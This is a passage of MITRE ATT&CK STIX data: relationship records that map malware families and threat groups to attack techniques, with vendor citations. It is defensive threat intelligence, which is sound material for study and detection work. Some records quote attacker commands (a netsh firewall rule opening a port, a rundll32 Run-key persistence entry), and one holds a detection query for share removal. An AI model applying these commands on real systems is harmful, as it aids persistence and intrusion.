"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}], "modified": "2020-12-22T21:07:41.680Z", "description": "[Javali](https://attack.mitre.org/software/S0528) has used the MSI installer to download and execute malicious payloads.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--64122557-5940-4271-9123-25bfc0c693db", "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9010a311-e581-428a-ba67-cf4b31891803", "created": "2022-03-30T14:26:51.858Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:34:10.859Z", "description": "Monitor for newly constructed processes and/or command line execution that can be used to remove network share connections via the net.exe process. \n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic is oriented around looking for various methods of removing network shares via the command line, which is otherwise a rare event. \n\nAnalytic 1- Network Share Connection Removal\n\n<code> (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") (Image= \"C:\\Windows\\System32\\net.exe\" AND CommandLine= \"*delete*\") OR CommandLine=\"*Remove-SmbShare*\" OR CommandLine=\"*Remove-FileShare*\" )</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--90126438-03a9-47c8-98c1-222a1d79ef21", "type": "relationship", "created": "2020-07-23T16:50:06.423Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ForSSHe December 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}], "modified": "2020-08-10T19:43:38.327Z", "description": "[Kessel](https://attack.mitre.org/software/S0487) has exfiltrated data via hexadecimal-encoded subdomain fields of DNS queries.(Citation: ESET ForSSHe December 2018)", "relationship_type": "uses", "source_ref": "malware--c984b414-b766-44c5-814a-2fe96c913c12", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9015a88f-9442-41cb-8486-046b76cddc5d", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", "source_name": "TrendMicro Patchwork Dec 2017"}, {"source_name": "Volexity Patchwork June 2018", "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"}], "modified": "2020-03-17T14:53:11.331Z", "description": "[Patchwork](https://attack.mitre.org/groups/G0040) embedded a malicious macro in a Word document and lured the victim to click on an icon to execute the malware.(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9020cfe5-99b4-48ba-ac48-bcf20697c575", "type": "relationship", "created": "2021-02-23T20:50:33.040Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Conficker", "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/conficker", "description": "Trend Micro. (2014, March 18). Conficker. Retrieved February 18, 2021."}], "modified": "2021-05-04T18:09:08.537Z", "description": "[Conficker](https://attack.mitre.org/software/S0608) adds Registry Run keys to establish persistence.(Citation: Trend Micro Conficker)", "relationship_type": "uses", "source_ref": "malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9020d567-103b-4dc2-b27d-115078ae2a76", "type": "relationship", "created": "2020-05-06T15:26:38.829Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "JPCert PLEAD Downloader June 2018", "url": "https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html", "description": "Tomonaga, S. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."}], "modified": "2020-05-06T15:26:38.829Z", "description": "[PLEAD](https://attack.mitre.org/software/S0435) has the ability to upload and download files to and from an infected host.(Citation: JPCert PLEAD Downloader June 2018)", "relationship_type": "uses", "source_ref": "malware--b57f419e-8b12-49d3-886b-145383725dcd", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9021af47-45ef-4021-a697-d76ccb790f07", "type": "relationship", "created": "2021-10-05T21:58:51.350Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "20 macOS Common Tools and Techniques", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}], "modified": "2021-10-17T17:04:32.986Z", "description": "[XCSSET](https://attack.mitre.org/software/S0658) uses the <code>chmod +x</code> command to grant executable permissions to the malicious file.(Citation: 20 macOS Common Tools and Techniques)", "relationship_type": "uses", "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "target_ref": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--90268df8-948a-4eb4-a21c-7b1c6808f669", "type": "relationship", "created": "2021-08-18T18:52:48.070Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA21-200A APT40 July 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021."}, {"source_name": "Accenture MUDCARP March 2019", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies", "description": "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}], "modified": "2021-10-01T19:12:19.650Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has obtained valid accounts to gain initial access.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9028e275-2e3b-48a7-a1b8-99bdbf524c12", "created": "2024-01-22T21:41:03.564Z", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat Check Logs October 2023", "description": "Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-22T21:41:03.564Z", "description": "Prior to executing a backdoor [ToddyCat](https://attack.mitre.org/groups/G1022)  has run `cmd /c start /b netsh advfirewall firewall add rule name=\"SGAccessInboundRule\" dir=in protocol=udp action=allow localport=49683` to allow the targeted system to receive UDP packets on port 49683.(Citation: Kaspersky ToddyCat Check Logs October 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3", "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--90300d17-ca66-4167-a2c5-e8521b291ef7", "type": "relationship", "created": "2022-03-30T14:26:51.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.833Z", "description": "Monitor for changes made to files that may abuse Microsoft Office add-ins to obtain persistence on a compromised system.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--90347c97-c0c5-4407-9087-b917d0789b0e", "created": "2017-12-14T16:46:06.044Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Cylance Cleaver", "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "[TinyZBot](https://attack.mitre.org/software/S0004) can install as a Windows service for persistence.(Citation: Cylance Cleaver)", "modified": "2022-07-22T18:37:22.198Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--90355089-e793-4a6a-98b4-c1f20322a98f", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT10 Sept 2018", "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}], "modified": "2020-03-17T02:46:42.688Z", "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to gather the system\u2019s hostname and OS version.(Citation: FireEye APT10 Sept 2018)", "relationship_type": "uses", "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9038cd4b-182b-469f-ac45-83dedf5110c9", "type": "relationship", "created": "2021-04-20T03:06:40.236Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks COBALT DICKENS September 2019", "url": "https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again", "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. Retrieved February 3, 2021."}, {"source_name": "Malwarebytes Silent Librarian October 2020", "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/", "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."}, {"source_name": "Proofpoint TA407 September 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian", "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."}], "modified": "2021-04-20T03:14:15.249Z", "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has cloned victim organization login pages and staged them for later use in credential harvesting campaigns. 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(2015, April 7). Winnti Analysis. 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Retrieved June 29, 2017.", "url": "https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:14:18.631Z", "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used a modified version of pentesting tools wmiexec.vbs and secretsdump.py to dump credentials.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Github AD-Pentest-Script)", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9069440f-f2d0-4548-94a8-6759a31b1425", "type": "relationship", "created": "2021-11-29T19:16:55.959Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Iron Tiger April 2021", "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}], "modified": "2021-11-29T19:16:55.959Z", "description": "[SysUpdate](https://attack.mitre.org/software/S0663) has the ability to capture screenshots.(Citation: Trend Micro Iron Tiger April 2021)", "relationship_type": "uses", "source_ref": "malware--c009560a-f097-45a3-8f9f-78ec1440a783", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9076865a-8215-4536-bb31-60ab7fa20af6", "type": "relationship", "created": "2019-01-29T19:55:48.084Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-epic-turla-operation/65545/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", "source_name": "Kaspersky Turla"}, {"description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf", "source_name": "Kaspersky Turla Aug 2014"}], "modified": "2020-03-30T02:09:54.935Z", "description": "[Epic](https://attack.mitre.org/software/S0091) encrypts collected data using a public key framework before sending it over the C2 channel.(Citation: Kaspersky Turla) Some variants encrypt the collected data with AES and encode it with base64 before transmitting it to the C2 server.(Citation: Kaspersky Turla Aug 2014)", "relationship_type": "uses", "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--907df22e-fdfe-4b93-8b18-ebf66f83868c", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T20:36:11.388Z", "description": "[S-Type](https://attack.mitre.org/software/S0085) may create the file <code>%HOMEPATH%\\Start Menu\\Programs\\Startup\\Realtek {Unique Identifier}.lnk</code>, which points to the malicious `msdtc.exe` file already created in the `%CommonFiles%` directory.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--90839ffa-293e-4fe3-98d2-e8edfd55be2c", "created": "2022-10-06T16:17:52.954Z", "revoked": false, "external_references": [{"source_name": "McAfee Night Dragon", "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-06T16:17:52.954Z", "description": "During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used RAT malware to exfiltrate email archives.(Citation: McAfee Night Dragon)", "relationship_type": "uses", "source_ref": "campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a", "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9088b52e-8e07-4fd4-ac80-66df7f877adf", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Bisonal July 2018", "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"}], "modified": "2022-01-26T21:51:21.766Z", "description": "[Bisonal](https://attack.mitre.org/software/S0268) has used rundll32.exe to execute as part of the Registry Run key it adds: <code>HKEY_CURRENT_USER \\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\u201dvert\u201d = \u201crundll32.exe c:\\windows\\temp\\pvcu.dll , Qszdez\u201d</code>.(Citation: Unit 42 Bisonal July 2018)", "relationship_type": "uses", "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--90893c7e-5080-40ff-92b2-d9c86e74b72c", "type": "relationship", "created": "2021-04-06T12:22:23.749Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Aqua Kinsing April 2020", "url": "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", "description": "Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}], "modified": "2021-04-06T12:22:23.749Z", "description": "[Kinsing](https://attack.mitre.org/software/S0599) has used SSH for lateral movement.(Citation: Aqua Kinsing April 2020)", "relationship_type": "uses", "source_ref": "malware--d6e55656-e43f-411f-a7af-45df650471c5", "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--908f1fa6-c797-47c3-bcb1-3438a9105095", "type": "relationship", "created": "2020-05-06T03:32:07.175Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Group IB Silence Aug 2019", "url": "https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf", "description": "Group-IB. (2019, August). Silence 2.0: Going Global. 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Retrieved August 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has used file-sharing services including WeTransfer, TransferNow, and OneDrive to deliver payloads.(Citation: Google EXOTIC LILY March 2022)", "modified": "2022-08-18T18:41:10.279Z", "relationship_type": "uses", "source_ref": "intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af", "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--90974f03-7f61-479e-bceb-6f26872d4812", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2018", "description": "Hromcov\u00e1, Z. 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Retrieved March 7, 2022."}], "modified": "2022-03-15T20:08:18.933Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) has divided files if the size is 0x1000000 bytes or more.(Citation: KISA Operation Muzabi)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--909db543-0968-4f02-b1d9-de64c0730c0a", "type": "relationship", "created": "2020-11-06T18:40:38.307Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyberreason Anchor December 2019", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", "description": "Dahan, A. et al. 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Retrieved September 10, 2020."}], "modified": "2020-11-06T18:40:38.307Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can determine if the user on an infected machine is in the admin or domain admin group.(Citation: Cyberreason Anchor December 2019)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--90a11110-2124-4d1f-92b7-1d5525e3ba8d", "type": "relationship", "created": "2020-10-20T15:42:48.393Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-17T15:45:02.096Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--90a7c108-ea5d-4274-a406-4494de107435", "created": "2024-04-08T19:11:36.343Z", "revoked": false, "external_references": [{"source_name": "FireEye TRITON 2018", "description": "Miller, S. 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Retrieved June 10, 2021."}], "modified": "2021-06-10T15:41:34.691Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) has the ability to use multiple dynamically resolved API calls.(Citation: Malwarebytes Kimsuky June 2021)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--90b7c9e6-53db-4656-a5ee-f8056a8d6ef7", "type": "relationship", "created": "2019-03-29T13:56:52.432Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Banking Malware Jan 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/", "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019."}, {"description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.", "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/", "source_name": "Carbon Black Emotet Apr 2019"}], "modified": "2020-03-17T13:31:00.679Z", "description": "[Emotet](https://attack.mitre.org/software/S0367) has relied upon users clicking on a malicious link delivered through spearphishing.(Citation: Trend Micro Banking Malware Jan 2019)(Citation: Carbon Black Emotet Apr 2019)", "relationship_type": "uses", "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--90b9f240-cd40-488a-9bbc-bb0c5db07365", "type": "relationship", "created": "2019-02-12T18:47:45.098Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Cherepanov, A., Lipovsky, R. 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Retrieved November 27, 2018.", "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", "source_name": "ESET TeleBots Oct 2018"}], "modified": 